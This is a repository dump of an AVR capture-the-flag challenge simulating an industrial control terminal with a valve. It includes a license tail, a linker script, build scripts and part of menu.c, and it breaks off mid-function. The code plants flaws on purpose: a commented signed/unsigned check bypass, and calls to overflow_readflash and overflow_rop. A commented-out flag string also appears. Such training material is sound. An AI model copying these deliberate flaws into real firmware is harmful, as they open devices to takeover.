support, indemnity or liability obligations to one or more recipients of 318 | Licensed Software. However, You may do so only on Your own behalf, and not on 319 | behalf of the Licensor or any Contributor except as permitted under other 320 | agreements between you and Licensor or Contributor. You must make it clear that 321 | any such warranty, support, indemnity or liability obligation is offered by You 322 | alone, and You hereby agree to indemnify the Licensor and every Contributor for 323 | any liability plus attorney fees, costs, and related expenses due to any such 324 | action or claim incurred by the Licensor or such Contributor as a result of 325 | warranty, support, indemnity or liability terms You offer. 326 | 327 | 6.6 Conflicts With Other Licenses. Where any portion of Your Extensions, by 328 | virtue of being Derivative Works of another product or similar circumstance, 329 | fall under the terms of another license, the terms of that license should be 330 | honored however You must also make Your Extensions available under this 331 | License. If the terms of this License continue to conflict with the terms of 332 | the other license you may write the Licensor for permission to resolve the 333 | conflict in a fashion that remains consistent with the intent of this License. 334 | Such permission will be granted at the sole discretion of the Licensor. 335 | 336 | 7.0 Versions of This License. Licensor may publish from time to time revised 337 | versions of the License. Once Licensed Software has been published under a 338 | particular version of the License, You may always continue to use it under the 339 | terms of that version. You may also choose to use such Licensed Software under 340 | the terms of any subsequent version of the License published by Licensor. No 341 | one other than Licensor has the right to modify the terms applicable to 342 | Licensed Software created under this License. 343 | 344 | 7.1 If You create or use a modified version of this License, which You may do 345 | only in order to apply it to software that is not already Licensed Software 346 | under this License, You must rename Your license so that it is not confusingly 347 | similar to this License, and must make it clear that Your license contains 348 | terms that differ from this License. In so naming Your license, You may not 349 | use any trademark of Licensor or of any Contributor. Should Your modifications 350 | to this License be limited to alteration of a) Section 13.8 solely to modify 351 | the legal Jurisdiction or Venue for disputes, b) EXHIBIT A solely to define 352 | License Notice text, or c) to EXHIBIT B solely to define a User-Visible 353 | Attribution Notice, You may continue to refer to Your License as the 354 | Reciprocal Public License or simply the RPL. 355 | 356 | 8.0 Disclaimer of Warranty. LICENSED SOFTWARE IS PROVIDED UNDER THIS LICENSE 357 | ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, 358 | INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE LICENSED SOFTWARE IS FREE 359 | OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. 360 | FURTHER THERE IS NO WARRANTY MADE AND ALL IMPLIED WARRANTIES ARE DISCLAIMED 361 | THAT THE LICENSED SOFTWARE MEETS OR COMPLIES WITH ANY DESCRIPTION OF 362 | PERFORMANCE OR OPERATION, SAID COMPATIBILITY AND SUITABILITY BEING YOUR 363 | RESPONSIBILITY. LICENSOR DISCLAIMS ANY WARRANTY, IMPLIED OR EXPRESSED, THAT 364 | ANY CONTRIBUTOR'S EXTENSIONS MEET ANY STANDARD OF COMPATIBILITY OR DESCRIPTION 365 | OF PERFORMANCE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE 366 | LICENSED SOFTWARE IS WITH YOU. SHOULD LICENSED SOFTWARE PROVE DEFECTIVE IN ANY 367 | RESPECT, YOU (AND NOT THE LICENSOR OR ANY OTHER CONTRIBUTOR) ASSUME THE COST 368 | OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. UNDER THE TERMS OF THIS 369 | LICENSOR WILL NOT SUPPORT THIS SOFTWARE AND IS UNDER NO OBLIGATION TO ISSUE 370 | UPDATES TO THIS SOFTWARE. LICENSOR HAS NO KNOWLEDGE OF ERRANT CODE OR VIRUS IN 371 | THIS SOFTWARE, BUT DOES NOT WARRANT THAT THE SOFTWARE IS FREE FROM SUCH ERRORS 372 | OR VIRUSES. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS 373 | LICENSE. NO USE OF LICENSED SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS 374 | DISCLAIMER. 375 | 376 | 9.0 Limitation of Liability. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, 377 | WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE 378 | LICENSOR, ANY CONTRIBUTOR, OR ANY DISTRIBUTOR OF LICENSED SOFTWARE, OR ANY 379 | SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, 380 | SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, 381 | WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER 382 | FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, 383 | EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH 384 | DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH 385 | OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT 386 | APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE 387 | EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS 388 | EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU. 389 | 390 | 10.0 High Risk Activities. THE LICENSED SOFTWARE IS NOT FAULT-TOLERANT AND IS 391 | NOT DESIGNED, MANUFACTURED, OR INTENDED FOR USE OR DISTRIBUTION AS ON-LINE 392 | CONTROL EQUIPMENT IN HAZARDOUS ENVIRONMENTS REQUIRING FAIL-SAFE PERFORMANCE, 393 | SUCH AS IN THE OPERATION OF NUCLEAR FACILITIES, AIRCRAFT NAVIGATION OR 394 | COMMUNICATIONS SYSTEMS, AIR TRAFFIC CONTROL, DIRECT LIFE SUPPORT MACHINES, OR 395 | WEAPONS SYSTEMS, IN WHICH THE FAILURE OF THE LICENSED SOFTWARE COULD LEAD 396 | DIRECTLY TO DEATH, PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE 397 | ("HIGH RISK ACTIVITIES"). LICENSOR AND CONTRIBUTORS SPECIFICALLY DISCLAIM ANY 398 | EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. 399 | 400 | 11.0 Responsibility for Claims. As between Licensor and Contributors, each 401 | party is responsible for claims and damages arising, directly or indirectly, 402 | out of its utilization of rights under this License which specifically 403 | disclaims warranties and limits any liability of the Licensor. This paragraph 404 | is to be used in conjunction with and controlled by the Disclaimer Of 405 | Warranties of Section 8, the Limitation Of Damages in Section 9, and the 406 | disclaimer against use for High Risk Activities in Section 10. The Licensor 407 | has thereby disclaimed all warranties and limited any damages that it is or 408 | may be liable for. You agree to work with Licensor and Contributors to 409 | distribute such responsibility on an equitable basis consistent with the terms 410 | of this License including Sections 8, 9, and 10. Nothing herein is intended or 411 | shall be deemed to constitute any admission of liability. 412 | 413 | 12.0 Termination. This License and all rights granted hereunder will terminate 414 | immediately in the event of the circumstances described in Section 13.6 or if 415 | applicable law prohibits or restricts You from fully and or specifically 416 | complying with Sections 3, 4 and/or 6, or prevents the enforceability of any 417 | of those Sections, and You must immediately discontinue any use of Licensed 418 | Software. 419 | 420 | 12.1 Automatic Termination Upon Breach. This License and the rights granted 421 | hereunder will terminate automatically if You fail to comply with the terms 422 | herein and fail to cure such breach within thirty (30) days of becoming aware 423 | of the breach. All sublicenses to the Licensed Software that are properly 424 | granted shall survive any termination of this License. Provisions that, by 425 | their nature, must remain in effect beyond the termination of this License, 426 | shall survive. 427 | 428 | 12.2 Termination Upon Assertion of Patent Infringement. If You initiate 429 | litigation by asserting a patent infringement claim (excluding declaratory 430 | judgment actions) against Licensor or a Contributor (Licensor or Contributor 431 | against whom You file such an action is referred to herein as "Respondent") 432 | alleging that Licensed Software directly or indirectly infringes any patent, 433 | then any and all rights granted by such Respondent to You under Sections 3 or 434 | 4 of this License shall terminate prospectively upon sixty (60) days notice 435 | from Respondent (the "Notice Period") unless within that Notice Period You 436 | either agree in writing (i) to pay Respondent a mutually agreeable reasonably 437 | royalty for Your past or future use of Licensed Software made by such 438 | Respondent, or (ii) withdraw Your litigation claim with respect to Licensed 439 | Software against such Respondent. If within said Notice Period a reasonable 440 | royalty and payment arrangement are not mutually agreed upon in writing by the 441 | parties or the litigation claim is not withdrawn, the rights granted by 442 | Licensor to You under Sections 3 and 4 automatically terminate at the 443 | expiration of said Notice Period. 444 | 445 | 12.3 Reasonable Value of This License. If You assert a patent infringement 446 | claim against Respondent alleging that Licensed Software directly or 447 | indirectly infringes any patent where such claim is resolved (such as by 448 | license or settlement) prior to the initiation of patent infringement 449 | litigation, then the reasonable value of the licenses granted by said 450 | Respondent under Sections 3 and 4 shall be taken into account in determining 451 | the amount or value of any payment or license. 452 | 453 | 12.4 No Retroactive Effect of Termination. In the event of termination under 454 | this Section all end user license agreements (excluding licenses to 455 | distributors and resellers) that have been validly granted by You or any 456 | distributor hereunder prior to termination shall survive termination. 457 | 458 | 13.0 Miscellaneous. 459 | 460 | 13.1 U.S. Government End Users. The Licensed Software is a "commercial item," 461 | as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of 462 | "commercial computer software" and "commercial computer software 463 | documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). 464 | Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 465 | (June 1995), all U.S. Government End Users acquire Licensed Software with only 466 | those rights set forth herein. 467 | 468 | 13.2 Relationship of Parties. This License will not be construed as creating 469 | an agency, partnership, joint venture, or any other form of legal association 470 | between or among You, Licensor, or any Contributor, and You will not represent 471 | to the contrary, whether expressly, by implication, appearance, or otherwise. 472 | 473 | 13.3 Independent Development. Nothing in this License will impair Licensor's 474 | right to acquire, license, develop, subcontract, market, or distribute 475 | technology or products that perform the same or similar functions as, or 476 | otherwise compete with, Extensions that You may develop, produce, market, or 477 | distribute. 478 | 479 | 13.4 Consent To Breach Not Waiver. Failure by Licensor or Contributor to 480 | enforce any provision of this License will not be deemed a waiver of future enforcement 481 | of that or any other provision. 482 | 483 | 13.5 Severability. This License represents the complete agreement concerning 484 | the subject matter hereof. If any provision of this License is held to be 485 | unenforceable, such provision shall be reformed only to the extent necessary 486 | to make it enforceable. 487 | 488 | 13.6 Inability to Comply Due to Statute or Regulation. If it is impossible for 489 | You to comply with any of the terms of this License with respect to some or 490 | all of the Licensed Software due to statute, judicial order, or regulation, 491 | then You cannot use, modify, or distribute the software. 492 | 493 | 13.7 Export Restrictions. You may be restricted with respect to downloading or 494 | otherwise acquiring, exporting, or reexporting the Licensed Software or any 495 | underlying information or technology by United States and other applicable 496 | laws and regulations. By downloading or by otherwise obtaining the Licensed 497 | Software, You are agreeing to be responsible for compliance with all 498 | applicable laws and regulations. 499 | 500 | 13.8 Arbitration, Jurisdiction & Venue. This License shall be governed by 501 | Colorado law provisions (except to the extent applicable law, if any, provides 502 | otherwise), excluding its conflict-of-law provisions. You expressly agree that 503 | any dispute relating to this License shall be submitted to binding arbitration 504 | under the rules then prevailing of the American Arbitration Association. You 505 | further agree that Adams County, Colorado USA is proper venue and grant such 506 | arbitration proceeding jurisdiction as may be appropriate for purposes of 507 | resolving any dispute under this License. Judgement upon any award made in 508 | arbitration may be entered and enforced in any court of competent 509 | jurisdiction. The arbitrator shall award attorney's fees and costs of 510 | arbitration to the prevailing party. Should either party find it necessary to 511 | enforce its arbitration award or seek specific performance of such award in a 512 | civil court of competent jurisdiction, the prevailing party shall be entitled 513 | to reasonable attorney's fees and costs. The application of the United Nations 514 | Convention on Contracts for the International Sale of Goods is expressly 515 | excluded. You and Licensor expressly waive any rights to a jury trial in any 516 | litigation concerning Licensed Software or this License. Any law or regulation 517 | that provides that the language of a contract shall be construed against the 518 | drafter shall not apply to this License. 519 | 520 | 13.9 Entire Agreement. This License constitutes the entire agreement between 521 | the parties with respect to the subject matter hereof. 522 | 523 | EXHIBIT A 524 | 525 | The License Notice below must appear in each file of the Source Code of any 526 | copy You distribute of the Licensed Software or any Extensions thereto: 527 | 528 | Unless explicitly acquired and licensed from Licensor under another 529 | license, the contents of this file are subject to the Reciprocal Public 530 | License ("RPL") Version 1.5, or subsequent versions as allowed by the RPL, 531 | and You may not copy or use this file in either source code or executable 532 | form, except in compliance with the terms and conditions of the RPL. 533 | 534 | All software distributed under the RPL is provided strictly on an "AS 535 | IS" basis, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, AND 536 | LICENSOR HEREBY DISCLAIMS ALL SUCH WARRANTIES, INCLUDING WITHOUT 537 | LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR 538 | PURPOSE, QUIET ENJOYMENT, OR NON-INFRINGEMENT. See the RPL for specific 539 | language governing rights and limitations under the RPL. 540 | 541 | 542 | 543 | EXHIBIT B 544 | 545 | The User-Visible Attribution Notice below, when provided, must appear in each 546 | user-visible display as defined in Section 6.4 (d): 547 | -------------------------------------------------------------------------------- /source/main/avr5.x: -------------------------------------------------------------------------------- 1 | /* Default linker script, for normal executables */ 2 | OUTPUT_FORMAT("elf32-avr","elf32-avr","elf32-avr") 3 | OUTPUT_ARCH(avr:5) 4 | MEMORY 5 | { 6 | text (rx) : ORIGIN = 0, LENGTH = 128K 7 | data (rw!x) : ORIGIN = 0x800060, LENGTH = 0xffa0 8 | eeprom (rw!x) : ORIGIN = 0x810000, LENGTH = 64K 9 | fuse (rw!x) : ORIGIN = 0x820000, LENGTH = 1K 10 | lock (rw!x) : ORIGIN = 0x830000, LENGTH = 1K 11 | signature (rw!x) : ORIGIN = 0x840000, LENGTH = 1K 12 | user_signatures (rw!x) : ORIGIN = 0x850000, LENGTH = 1K 13 | } 14 | SECTIONS 15 | { 16 | /* custom */ 17 | .flagsection 0x3500 : { KEEP(*(.flagsection)) } 18 | .set_memory_unprotected : { KEEP(*(.set_memory_unprotected)) } 19 | /* Read-only sections, merged into text segment: */ 20 | .hash : { *(.hash) } 21 | .dynsym : { *(.dynsym) } 22 | .dynstr : { *(.dynstr) } 23 | .gnu.version : { *(.gnu.version) } 24 | .gnu.version_d : { *(.gnu.version_d) } 25 | .gnu.version_r : { *(.gnu.version_r) } 26 | .rel.init : { *(.rel.init) } 27 | .rela.init : { *(.rela.init) } 28 | .rel.text : 29 | { 30 | *(.rel.text) 31 | *(.rel.text.*) 32 | *(.rel.gnu.linkonce.t*) 33 | } 34 | .rela.text : 35 | { 36 | *(.rela.text) 37 | *(.rela.text.*) 38 | *(.rela.gnu.linkonce.t*) 39 | } 40 | .rel.fini : { *(.rel.fini) } 41 | .rela.fini : { *(.rela.fini) } 42 | .rel.rodata : 43 | { 44 | *(.rel.rodata) 45 | *(.rel.rodata.*) 46 | *(.rel.gnu.linkonce.r*) 47 | } 48 | .rela.rodata : 49 | { 50 | *(.rela.rodata) 51 | *(.rela.rodata.*) 52 | *(.rela.gnu.linkonce.r*) 53 | } 54 | .rel.data : 55 | { 56 | *(.rel.data) 57 | *(.rel.data.*) 58 | *(.rel.gnu.linkonce.d*) 59 | } 60 | .rela.data : 61 | { 62 | *(.rela.data) 63 | *(.rela.data.*) 64 | *(.rela.gnu.linkonce.d*) 65 | } 66 | .rel.ctors : { *(.rel.ctors) } 67 | .rela.ctors : { *(.rela.ctors) } 68 | .rel.dtors : { *(.rel.dtors) } 69 | .rela.dtors : { *(.rela.dtors) } 70 | .rel.got : { *(.rel.got) } 71 | .rela.got : { *(.rela.got) } 72 | .rel.bss : { *(.rel.bss) } 73 | .rela.bss : { *(.rela.bss) } 74 | .rel.plt : { *(.rel.plt) } 75 | .rela.plt : { *(.rela.plt) } 76 | /* Internal text space or external memory. */ 77 | .text : 78 | { 79 | *(.vectors) 80 | KEEP(*(.vectors)) 81 | /* For data that needs to reside in the lower 64k of progmem. */ 82 | *(.progmem.gcc*) 83 | /* PR 13812: Placing the trampolines here gives a better chance 84 | that they will be in range of the code that uses them. */ 85 | . = ALIGN(2); 86 | __trampolines_start = . ; 87 | /* The jump trampolines for the 16-bit limited relocs will reside here. */ 88 | *(.trampolines) 89 | *(.trampolines*) 90 | __trampolines_end = . ; 91 | *(.progmem*) 92 | . = ALIGN(2); 93 | /* For future tablejump instruction arrays for 3 byte pc devices. 94 | We don't relax jump/call instructions within these sections. */ 95 | *(.jumptables) 96 | *(.jumptables*) 97 | /* For code that needs to reside in the lower 128k progmem. */ 98 | *(.lowtext) 99 | *(.lowtext*) 100 | __ctors_start = . ; 101 | *(.ctors) 102 | __ctors_end = . ; 103 | __dtors_start = . ; 104 | *(.dtors) 105 | __dtors_end = . ; 106 | KEEP(SORT(*)(.ctors)) 107 | KEEP(SORT(*)(.dtors)) 108 | /* From this point on, we don't bother about wether the insns are 109 | below or above the 16 bits boundary. */ 110 | *(.init0) /* Start here after reset. */ 111 | KEEP (*(.init0)) 112 | *(.init1) 113 | KEEP (*(.init1)) 114 | *(.init2) /* Clear __zero_reg__, set up stack pointer. */ 115 | KEEP (*(.init2)) 116 | *(.init3) 117 | KEEP (*(.init3)) 118 | *(.init4) /* Initialize data and BSS. */ 119 | KEEP (*(.init4)) 120 | *(.init5) 121 | KEEP (*(.init5)) 122 | *(.init6) /* C++ constructors. */ 123 | KEEP (*(.init6)) 124 | *(.init7) 125 | KEEP (*(.init7)) 126 | *(.init8) 127 | KEEP (*(.init8)) 128 | *(.init9) /* Call main(). */ 129 | KEEP (*(.init9)) 130 | *(.text) 131 | . = ALIGN(2); 132 | *(.text.*) 133 | . = ALIGN(2); 134 | *(.fini9) /* _exit() starts here. */ 135 | KEEP (*(.fini9)) 136 | *(.fini8) 137 | KEEP (*(.fini8)) 138 | *(.fini7) 139 | KEEP (*(.fini7)) 140 | *(.fini6) /* C++ destructors. */ 141 | KEEP (*(.fini6)) 142 | *(.fini5) 143 | KEEP (*(.fini5)) 144 | *(.fini4) 145 | KEEP (*(.fini4)) 146 | *(.fini3) 147 | KEEP (*(.fini3)) 148 | *(.fini2) 149 | KEEP (*(.fini2)) 150 | *(.fini1) 151 | KEEP (*(.fini1)) 152 | *(.fini0) /* Infinite loop after program termination. */ 153 | KEEP (*(.fini0)) 154 | _etext = . ; 155 | } > text 156 | .data : 157 | { 158 | PROVIDE (__data_start = .) ; 159 | /* --gc-sections will delete empty .data. This leads to wrong start 160 | addresses for subsequent sections because -Tdata= from the command 161 | line will have no effect, see PR13697. Thus, keep .data */ 162 | KEEP (*(.data)) 163 | *(.data*) 164 | *(.rodata) /* We need to include .rodata here if gcc is used */ 165 | *(.rodata*) /* with -fdata-sections. */ 166 | *(.gnu.linkonce.d*) 167 | . = ALIGN(2); 168 | _edata = . ; 169 | PROVIDE (__data_end = .) ; 170 | } > data AT> text 171 | .bss : AT (ADDR (.bss)) 172 | { 173 | PROVIDE (__bss_start = .) ; 174 | *(.bss) 175 | *(.bss*) 176 | *(COMMON) 177 | PROVIDE (__bss_end = .) ; 178 | } > data 179 | __data_load_start = LOADADDR(.data); 180 | __data_load_end = __data_load_start + SIZEOF(.data); 181 | /* Global data not cleared after reset. */ 182 | .noinit : 183 | { 184 | PROVIDE (__noinit_start = .) ; 185 | *(.noinit*) 186 | PROVIDE (__noinit_end = .) ; 187 | _end = . ; 188 | PROVIDE (__heap_start = .) ; 189 | } > data 190 | .eeprom : 191 | { 192 | /* See .data above... */ 193 | KEEP(*(.eeprom*)) 194 | __eeprom_end = . ; 195 | } > eeprom 196 | .fuse : 197 | { 198 | KEEP(*(.fuse)) 199 | KEEP(*(.lfuse)) 200 | KEEP(*(.hfuse)) 201 | KEEP(*(.efuse)) 202 | } > fuse 203 | .lock : 204 | { 205 | KEEP(*(.lock*)) 206 | } > lock 207 | .signature : 208 | { 209 | KEEP(*(.signature*)) 210 | } > signature 211 | .user_signatures : 212 | { 213 | KEEP(*(.user_signatures*)) 214 | } > user_signatures 215 | /* Stabs debugging sections. */ 216 | .stab 0 : { *(.stab) } 217 | .stabstr 0 : { *(.stabstr) } 218 | .stab.excl 0 : { *(.stab.excl) } 219 | .stab.exclstr 0 : { *(.stab.exclstr) } 220 | .stab.index 0 : { *(.stab.index) } 221 | .stab.indexstr 0 : { *(.stab.indexstr) } 222 | .comment 0 : { *(.comment) } 223 | .note.gnu.build-id : { *(.note.gnu.build-id) } 224 | /* DWARF debug sections. 225 | Symbols in the DWARF debugging sections are relative to the beginning 226 | of the section so we begin them at 0. */ 227 | /* DWARF 1 */ 228 | .debug 0 : { *(.debug) } 229 | .line 0 : { *(.line) } 230 | /* GNU DWARF 1 extensions */ 231 | .debug_srcinfo 0 : { *(.debug_srcinfo) } 232 | .debug_sfnames 0 : { *(.debug_sfnames) } 233 | /* DWARF 1.1 and DWARF 2 */ 234 | .debug_aranges 0 : { *(.debug_aranges) } 235 | .debug_pubnames 0 : { *(.debug_pubnames) } 236 | /* DWARF 2 */ 237 | .debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) } 238 | .debug_abbrev 0 : { *(.debug_abbrev) } 239 | .debug_line 0 : { *(.debug_line .debug_line.* .debug_line_end ) } 240 | .debug_frame 0 : { *(.debug_frame) } 241 | .debug_str 0 : { *(.debug_str) } 242 | .debug_loc 0 : { *(.debug_loc) } 243 | .debug_macinfo 0 : { *(.debug_macinfo) } 244 | /* SGI/MIPS DWARF 2 extensions */ 245 | .debug_weaknames 0 : { *(.debug_weaknames) } 246 | .debug_funcnames 0 : { *(.debug_funcnames) } 247 | .debug_typenames 0 : { *(.debug_typenames) } 248 | .debug_varnames 0 : { *(.debug_varnames) } 249 | /* DWARF 3 */ 250 | .debug_pubtypes 0 : { *(.debug_pubtypes) } 251 | .debug_ranges 0 : { *(.debug_ranges) } 252 | /* DWARF Extension. */ 253 | .debug_macro 0 : { *(.debug_macro) } 254 | } 255 | -------------------------------------------------------------------------------- /source/main/build.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | set -euo pipefail 4 | 5 | #avr-gcc $GCC_COMPILE_FLAGS $GCC_LINK_FLAGS $INC_PATH -Wl,--section-start=.flagsection=0x3500 -o ctf.elf main.c $DEPS 6 | avr-gcc $GCC_COMPILE_FLAGS $GCC_LINK_FLAGS $INC_PATH -Wl,--script=avr5.x -o ctf.elf main.c $DEPS 7 | avr-objcopy $OBJCOPY_IHEX_FLAGS -j .flagsection ctf.elf ctf.hex 8 | avr-objcopy $OBJCOPY_BIN_FLAGS -j .flagsection ctf.elf ctf.bin 9 | -------------------------------------------------------------------------------- /source/main/ldscript: -------------------------------------------------------------------------------- 1 | SECTIONS 2 | { 3 | .flagsection = 0x3500; 4 | } 5 | -------------------------------------------------------------------------------- /source/main/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "serial_io.h" 8 | #include "menu.h" 9 | #include "random.h" 10 | #include "eeprom_rw.h" 11 | #include "examine_stack.h" 12 | 13 | const char *inbuff; 14 | 15 | //const char flag[] __attribute__((section(".flagsection"))) = "RHme+_Y0u_G0t_1t"; 16 | 17 | /* 18 | * these externs are declared in auth.c 19 | */ 20 | extern uint8_t is_authenticated; 21 | extern uint8_t is_privileged; 22 | extern uint8_t is_administrator; 23 | extern uint8_t is_auth_nonce_valid; 24 | 25 | int main(void) { 26 | /* 27 | * initialize the buffer which will be used storing input 28 | */ 29 | inbuff = (char *)malloc( sizeof(char) * INBUFF_LEN ); 30 | 31 | /* 32 | * just to be on the safe side, 33 | * make sure there is not auth session 34 | * enabled when the board boots 35 | */ 36 | is_authenticated = 0; 37 | is_privileged = 0; 38 | is_administrator = 0; 39 | is_auth_nonce_valid = 0; 40 | 41 | /* 42 | * commence ctf! :D 43 | */ 44 | serial_init(); 45 | dbg_tx_init(); 46 | random_init(); 47 | eeprom_set_memory_protected(); 48 | menu_main(); 49 | 50 | return 0; 51 | } 52 | -------------------------------------------------------------------------------- /source/menu/build.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | set -euo pipefail 4 | 5 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c menu.c 6 | 7 | echo "$(pwd)/menu.o" 8 | -------------------------------------------------------------------------------- /source/menu/menu.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "serial_io.h" 8 | #include "variables.h" 9 | #include "auth.h" 10 | #include "overflow_readflash.h" 11 | #include "overflow_rop.h" 12 | 13 | static void menu_loop(void); 14 | static uint8_t verify_int(char *); 15 | static void trollTheHacker(); 16 | 17 | extern uint8_t is_authenticated; 18 | extern uint8_t is_administrator; 19 | extern uint8_t is_privileged; 20 | extern char *inbuff; 21 | 22 | uint8_t valve = 0; 23 | 24 | const char commands_text[] PROGMEM = 25 | "Possible commands:\r\n"; 26 | 27 | const char menu_message_start[] PROGMEM = 28 | "\tA\tauthenticate\r\n" 29 | "\tRxxxx\tsubmit response (xxxx = response in hex)\r\n" 30 | "\tV\tretrieve variables\r\n"; 31 | 32 | const char menu_message_auth_user[] PROGMEM = 33 | "\tR\tread flash config\r\n" 34 | "\tP\tprint the valve state\r\n"; 35 | 36 | const char menu_message_privileged_user[] PROGMEM = 37 | "\tV\tchange the valve state\r\n" 38 | "\tS\tsend command to backend ICS network\r\n"; 39 | 40 | const char menu_message_auth_admin[] PROGMEM = 41 | "\tK\tread the Admin key\r\n"; 42 | 43 | 44 | 45 | const char menu_message_logout[] PROGMEM = 46 | "\tX\tlog out\r\n"; 47 | 48 | const char help_end[] PROGMEM = 49 | "\tH\tshow help\r\n" 50 | "\r\n"; 51 | 52 | const char troll[13][26] __attribute__((section(".flagsection"))) = {"\r\nCalculating index", 53 | "\r\nChecking Key CRC", 54 | "\r\nShuffling bits", 55 | "\r\nMore shuffling", 56 | "\r\nEven more shuffling!", 57 | "\r\nDeshuffling bits", 58 | "\r\nError! Dizzy bit!", 59 | "\r\nApplying Dimenhydrinate", 60 | "\r\nThe bit doesnt respond!", 61 | "\r\nAny doctor in room?", 62 | "\r\nBit recovered.Printing", 63 | "\r\nThe key is", 64 | "\r\nMUAHAHAAH!! TROLLED!\r\n" 65 | }; 66 | 67 | 68 | 69 | void menu_main(void) { 70 | serial_printf("%s", "Welcome to Erucsir ICS terminal\r\n"); 71 | serial_printf("%S", commands_text); 72 | serial_printf("%S", menu_message_start); 73 | serial_printf("%S", help_end); 74 | while(1) 75 | menu_loop(); 76 | } 77 | 78 | static void menu_loop(void) { 79 | int8_t aux; 80 | uint8_t res; 81 | 82 | serial_read(inbuff, INBUFF_LEN); 83 | serial_printf("%S", PSTR("\r\n")); 84 | 85 | if (is_authenticated == 0) { 86 | if (inbuff[0] == 'A') { 87 | generate_challenge(); 88 | 89 | } else if (inbuff[0] == 'R') { 90 | verify_response(); 91 | 92 | } else if (inbuff[0] == 'V') { 93 | /* 94 | * we will be using strtol() to convert the string to a long which 95 | * gets downcasted to int, but this is not an issue as we verify the 96 | * length of the string in verify_int 97 | * 98 | * the variables_menu function though excepts an unsigned int 99 | * 100 | * a regular int for this board is 16 bits, meaning that an unsigned 101 | * int takes values from 0 to 65535, thus -1 as signed is 65535 unsigned 102 | */ 103 | serial_printf("%S", PSTR("How many variables should be printed? (max 5)\r\n")); 104 | serial_read(inbuff, INBUFF_LEN); 105 | serial_printf("%S", PSTR("\r\n")); 106 | 107 | res = verify_int(inbuff); 108 | if (res == 1) { 109 | aux = strtol(inbuff, NULL, 10); 110 | if (aux > 5) { 111 | res = 0; 112 | } else { 113 | serial_printf("Printing %d variables\r\n", aux); 114 | variables_menu(aux); 115 | } 116 | } 117 | if (res == 0) { 118 | serial_printf("%S", PSTR("Input is not a valid number \r\n")); 119 | serial_printf("%S", PSTR("Please enter a number smaller than 5\r\n")); 120 | } 121 | 122 | } else if (inbuff[0] == 'H') { 123 | serial_printf("%S", commands_text); 124 | serial_printf("%S", menu_message_start); 125 | serial_printf("%S", help_end); 126 | } else 127 | serial_printf("Command %s is invalid\r\n", inbuff); 128 | 129 | } else { // is_authenticated == 1 130 | 131 | switch (inbuff[0]) { 132 | 133 | case 'R': 134 | overflow_readflash(); 135 | break; 136 | 137 | case 'X': 138 | is_privileged=is_administrator=is_authenticated=0; 139 | serial_printf("%s", "Welcome to Erucsir ICS terminal\r\n"); 140 | serial_printf("%S", commands_text); 141 | serial_printf("%S", menu_message_start); 142 | serial_printf("%S", help_end); 143 | break; 144 | 145 | case 'H': 146 | serial_printf("%S", commands_text); 147 | serial_printf("%S", menu_message_auth_user); 148 | if (is_privileged==1 || is_administrator==1) 149 | serial_printf("%S", menu_message_privileged_user); 150 | if (is_administrator) 151 | serial_printf("%S", menu_message_auth_admin); 152 | serial_printf("%S", menu_message_logout); 153 | serial_printf("%S", help_end); 154 | break; 155 | 156 | 157 | case 'P': 158 | if (valve==0) 159 | serial_printf("Valve closed\r\n"); 160 | else 161 | serial_printf("Valve open\r\n"); 162 | break; 163 | 164 | case 'V': 165 | if (is_privileged==1 || is_administrator == 1) { 166 | if (valve==0) 167 | valve=1; 168 | else 169 | valve=0; 170 | serial_printf("Valve changed\r\n"); 171 | break; 172 | } 173 | goto switch_default; 174 | 175 | case 'S': 176 | if (is_privileged==1 || is_administrator == 1) { 177 | overflow_rop(); 178 | break; 179 | } 180 | goto switch_default; 181 | 182 | case 'K': 183 | if (is_administrator == 1) { 184 | trollTheHacker(); 185 | break; 186 | } 187 | // Dont break here! 188 | 189 | default: 190 | switch_default: 191 | serial_printf("Command %s is invalid\r\n", inbuff); 192 | 193 | } 194 | 195 | } 196 | } 197 | 198 | static void returnTrollString (char * buffer, uint8_t index) { 199 | 200 | uint8_t i; 201 | //char key[] = 